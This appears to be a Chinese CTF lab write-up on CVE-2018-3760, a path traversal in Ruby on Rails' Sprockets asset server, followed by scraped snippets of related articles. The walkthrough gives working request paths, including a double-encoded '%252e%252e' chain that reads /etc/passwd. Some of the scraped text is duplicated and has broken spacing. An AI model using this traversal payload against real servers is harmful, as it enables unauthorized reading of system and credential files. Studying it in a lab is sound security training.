相关文章推荐
还单身的上铺  ·  python量化策略_头条·  2 年前    · 

Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。

解题方向:

关于【CVE-2018-3760】漏洞分析可以看这两篇文章:
  1. Ruby on Rails 路径穿越与任意文件读取漏洞分析
  2. Rails Asset Pipeline Directory Traversal Vulnerability (CVE-2018-3760)

影响版本:

4.0.0.beta7及更低版本
3.7.1及更低版本
2.12.4及更低版本。

漏洞复现:

一、访问靶机地址
二、当我们使用 /assets/file:///etc/passwd 访问,发现 // 会被过滤,尝试进行url编码
三、访问 /assets/file:%2f%2f/etc/passwd 通过报错得到用户可以访问的路径

%2f / 的URL编码

四、进行二次编码进行读取,得到key值

因为对 .. 做了过滤,且当前环境存在二次编码,我们对 ../ 中的 .. 进行二次编码

.. 第一次转码: %2E%2E ,因为 % 也要进行二次编码,第二次编码就是: %252e%252e

通过访问 /assets/file:%2f%2f/usr/src/blog/app/assets/config/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd 得到passwd文件内容,成功得到key值。

52e%252e/etc/passwd`得到passwd文件内容,成功得到key值。

Ruby On Rails介绍:解题方向:关于【CVE-2018-3760】漏洞分析可以看这两篇文章:影响版本:漏洞复现:一、访问靶机地址二、当我们使用`/assets/file:///etc/passwd`访问,发现`//`会被过滤,尝试进行url编码三、访问`/assets/file:%2f%2f/etc/passwd`通过报错得到用户可以访问的路径四、进行二次编码进行读取,得到key值介绍:Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态
pwntools - ruby 玩CTF时总是很难过,在Pyth on 中没有什么等同于pwntools。虽然pwntools很棒,但我对 Ruby 的热爱远超过对Pyth on 的热爱。因此,这是创建此类库的尝试。 将尝试与原始pwntools保持一致的命名,并以 Ruby 样式进行操作。 这是对start的利用,这对是一个挑战。 # encoding: ASCII - 8BIT # The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code, # which is NOT what we want when doing pwn... require 'pwn' c on text . arch = 'i386' c on text . log_level = :debug z = So
CVE- 2018 - 3760前言 漏洞 原理解 思路 漏洞 一、 漏洞 介绍: Ruby On Rails 是一个著名的 Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的 Ruby 库。 在 Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历 漏洞 。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。 具体操作及原理接下来会详细描述。 二、影响版本: 4.0.0.beta7及更低版本 3.7.1及更低版本 Ruby On Rails 是一个著名的 Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个 Ruby 库,用于编译和分发静态资源文件。 1、学会根据 漏洞 编号查找 漏洞 详情; 2、了解 Ruby On Rails CVE- 2018 - 3760)形成原理; 3、学习 Ruby On Rails CVE- 2018 - 3760)利用方法; 解 方向 利用已知 漏洞 读取文件passwd 漏洞 说明 Ruby On Rails 在开发环境下使用Sprocket
​ 通过报错获取允许目录的列表—>通过允许的目录绕过访问任意文件 0x01 漏洞 介绍 ​ Ruby On Rails 是一个著名的 Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个 Ruby 库,用于编译和分发静态资源文件。 Sprockets 3.7.1及更低版本中的辅助解码导致路径穿越 漏洞 。攻击者可以%252e%252e/用来访问根目录
我们再看一个更有趣的程序.这次我们来测试一个字符串是否和一个由简明模式(c on cise pattern)编码产生的描述相匹配. 在这些模式(pattern)里,一些字符或字符组合都有独特的意义,包括:  代码如下:[]  范围描述符 (比如,[a – z] 表示在a 到 z 范围内的一个字母)    \w  字母或数字;相当于 [0 - 9A - Za - z]   \W  非字母,数字   \s  [ \t\n\r\f]空字符;相当于 [ \t\n\r\f]   \S  非空字符   \d  [0 - 9]数字;相当于 [0 - 9]   \D  非数字字符   \b  退格符 (0x08) (仅在范围描述符
CVE- 2018 - 3760 漏洞 (任意文件读取) 0x00 漏洞 介绍 Ruby On Rails 是一个著名的 Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的 Ruby 库。 在 Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历 漏洞 。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。 0x...
Ruby On Rails 路径穿越 漏洞 CVE- 2018 - 3760) 这个 漏洞 作为路径穿越的典型例子,比较经典,18年跟着文档分析了一遍,最近又重新理了一遍,捎带着写了一遍源码跟踪分析的过程,个人感觉整个跟入调用的思想还是比较清晰的,分析的过程写的比较详细,有兴趣的萌新们也可以跟着分析一遍。 Sprockets中存在信息泄露 漏洞 。 受影响的版本:4.0.0.beta7及更低版本,...
一、 Ruby on Rails 简介 Ruby on Rails (官方简称为 Rails ,亦被简称为 RoR),是一个使用 Ruby 语言写的开源 Web 应用框架,它是严格按照 MVC 结构开发的。它努力使自身保持简单,来使实际的应用开发时的代码更少,使用最少的配置。 Rails 的设计原则包括 “不做重 的事”(D on ’t Repeat Yourself)和 “惯例优于设置”(C on venti on Ove
Ruby On Rails 路径穿越 漏洞 CVE- 2018 - 3760) Ruby On Rails 在开发环境下使用Sprockets作为静态文件服务器, Ruby On Rails 是著名 Ruby Web开发框架,Sprockets是编译及分发静态资源文件的 Ruby 库。 Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越 漏洞 ,攻击者可以利用%252e%252e/来跨越到...